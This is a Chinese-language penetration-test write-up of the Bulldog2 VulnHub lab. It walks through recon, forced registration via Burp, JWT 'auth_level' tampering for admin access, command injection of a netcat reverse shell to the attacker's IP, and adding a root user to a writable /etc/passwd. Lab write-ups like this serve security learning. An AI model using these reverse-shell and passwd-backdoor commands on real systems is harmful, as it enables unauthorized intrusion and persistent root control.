本文最后更新于 2024-06-29,文章内容可能已经过时。

Bulldog2靶机渗透实战笔记

实验环境:

kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)

Bulldog靶机(virtualbox) ip:192.168.228.11

kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。

靶机下载地址: https://www.vulnhub.com/entry/bulldog-2,246/

Virtulbox启动靶机:

image-20240625143422322

启动界面上写出了目标:获取root权限,读取/root目录下的flag文件。

测试连通性

image-20240625143501295

主机发现

虽然和bulldog—1那台一样,开机就显示了ip地址,但是实际情况一般不会直接给出ip地址,这里还是照例进行ip扫描。

扫描ip网段

image-20240625143945403发现目标主机ip地址192.168.228.11

信息搜集

nmap进行扫描

快速扫描基本信息

nmap -O -p 1-65535 192.168.228.11

image-20240625144206877主机开启了80端口

扫描开放端口的详情

nmap -sV -T4 -p 80 192.168.228.11

image-20240625145112847

nginx 1.14.0 (Ubuntu),查看有没有可以利用的漏洞信息。

image-20240625145321876

无果,浏览器进行访问

image-20240625144405081

又是小修狗,没有之前那个萌。运用插件查看网页基本架构信息

访问下页面中的其他信息。

点击首页User跳转到新页面,没有可利用信息。

点击首页Login跳转到登录页面,不知道用户名密码,等会再看。

image-20240625145515195

点击首页的Singn Up跳转到注册页面,没有注册信息开放,无用。

image-20240625145445903

子域名扫描

  • 使用dirb进行子域名扫描:
dirb http://192.168.228.11/ /usr/share/dirb/wordlists/big.txt 

image-20240629121921885

---- Scanning URL: http://192.168.228.11/ ----
+ http://192.168.228.11/assets (CODE:301|SIZE:179)                                                        
+ http://192.168.228.11/favicon.ico (CODE:200|SIZE:5430)                                                  
+ http://192.168.228.11/secci� (CODE:400|SIZE:2138)     

访问一下,发现出错。

image-20240629122714834

  • 使用WebCopilot进行子域名扫描和漏洞扫描:
webcopilot -d http://192.168.228.11/

image-20240625161055751

image-20240629113357649

没有发现什么有用的信息。

尝试下其他的突破口,点击Register注册,跳转到注册页面查看源代码在

main.8b490782e52b9899e2a7.bundle.js这个文件中找到了控制登录和注册逻辑的代码

image-20240629135952765

image-20240629144351914

根据js上的定义,我们可以使用 post提交新账户信息来完成注册,但是注意这里有2点要求:

  • Content-Type 必须要是:application/json
  • post 数据包内容处,必须要严格按照js代码里的规范

漏洞利用

既然注册页面上不可以注册,可以尝试在登录界面使用Burp进行抓包修改为注册页面后放行,看看能否进行注册。

image-20240629142545020

构造注册请求(要严格按照json的语句格式):

在抓到的登录页面中将login修改为register,根据字段修改注册信息填写用户名和密码(用户名admin123,密码Mudi123)进行放行,发现返回true,应该是注册成功,在登录界面进行尝试登录。

image-20240629143019819

image-20240629143327206

登录成功,发现是普通用户。可以提权,将该用户提权为管理员账户。

提权

前置的一些知识

水平越权

漏洞危害:

水平越权 是相同级别(权限)的用户或者同一角色中不同的用户之间,可以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞,可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。

解决建议:

完善权限验证措施,自己的身份只能查看、修改、删除、添加自己的信息

垂直越权(高危)

漏洞危害:

垂直越权 是不同级别之间或不同角色之间的越权,垂直越权还可以分为向上越权和向下越权。向上越权指的是一个低级别用户尝试访问高级别用户的资源,比如说某个系统分为普通用户和管理员用户,管理员有系统管理功能,而普通用户没有,那我们就可以理解成管理功能具备垂直权限划分,如果普通用户能利用某种攻击手段访问到管理功能,那我们就称之为向上越权。向下越权是一个高级别用户访问低级别用户信息,读取到低级用户的个人信息。

解决建议:

完善权限验证措施,自己的身份只能查看、修改、删除、添加自己的信息。

尝试水平越权

测试水平和垂直越权,根据上面的步骤,再次注册一个账户为越权实验做准备

(用户名:hacker123,密码:Mudi123)

image-20240629153017992

登录hacker用户

image-20240629153209206

直接在页面url修改为mudi的用户信息,看看存不存在水平越权。

image-20240629153446490

登录成功。发现存在水平越权漏洞。

尝试垂直越权

返回重新登录hacker用户,抓包,观察响应

image-20240629154019939

点击Forward,可以看到抓取的返回响应包

image-20240629154124794

返回的这个是JWT的数据格式,尝试使用JWT解密,看看里面到底有什么

解密网站https://jwt.io/

image-20240629154556831

解密后看到了控制貌似是控制用户登录权限的等级的变量

"auth_level": "standard_user",这里显示的是意思是标准用户,应该可以修改这个字段的信息进行垂直越权。使用这个参数去刚刚保存的几个js文件里查看,发现只有main开头的js文件中包含auth_level这个关键词,发现相关的关键词 master_admin_user可能是高权限用户

image-20240629155320205

再次返回登录页面,右键捕获响应的包,进行抓包并修改auth_level为master_admin_user字段

image-20240629155755034

放包,查看结果,发现登录的账户变成了管理员权限,说明存在垂直越权漏洞。

image-20240629155859135

点击admin进入管理员页面,填写存在的用户名和密码(密码随便输),然后抓包,将密码改成反弹shell。

#构造反弹shell,此处的ip地址为kali的ip
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc  192.168.228.4 8888>/tmp/f;       

image-20240629161239410

Getshell

kali开启nc监听:

nc -nvlp 8888

image-20240629160326938

burpsuit放行刚刚修改过的数据包,成功拿到shell。

image-20240629161348839

将shell转化为交互式的

#将简单的Shell转换成为完全交互式的TTY
python -c 'import pty;pty.spawn("/bin/bash")'          

image-20240629161745103

提权成功,查看文件

image-20240629161906601切换到etc目录查看passwd文件,发现文件可读可写。

image-20240629162210594

添加一个root权限的用户到passwd文件中。

#使用perl对密码进行盐加密,盐值为bg
perl -le 'print crypt("pass","bg")'    

#写入passwd文件此处的 0:0 切记不可修改
echo 'mudi:bgrjXmOiUQC1E:0:0:mudi:/root:/bin/bash' >> passwd

image-20240629163045780

再次查看passwd文件,用户已经被加上去了。(用户名mudi,密码:pass)

image-20240629163326999

输入su mudi进行登录输入密码发现是root用户了。成功拿到root权限,至此提权成功。

image-20240629163630333

读取/root目录下的flag文件

image-20240629163856455

恭喜您完成了此 VM :D那还不错,不是吗? 让我知道你在推特上的想法,我很@frichette_n 我已经在开发另一个更具挑战性的 VM。关注我以获取更新。

总结

在渗透过程中,我们要根据实际情况总结经验,时刻关注有用的信息,不管是靶机还是现实中的实际项目,我们都要关注js文件的安全问题。

关于渗透的思路:

在发现页面有注册的却又不能注册的时候,我们首先应该考虑从js文件入手,通过抓包的方式,新建用户查看有没有越权漏洞。在通过burp抓包注册的过程中要严格按照js文件的字段格式要求来才能注册成功。

通过越权漏洞,我们可以使普通用户的权限提升为到管理员权限,一般越权漏洞又分为水平和垂直越权。

在此次打靶过程中,发现抓取返回相应包的token为jwt文件格式的时候,需要进行jwt解密才能看到一些关键信息。

最后,通过垂直越权漏洞,将普通用户提权到管理员权限,返回登录页面再次进行抓包,在登录时候修改密码信息为反弹shell,kali开启nc监听,burp放包即可完成getshell,后面的就是进行提权操作留后门清理痕迹等操作。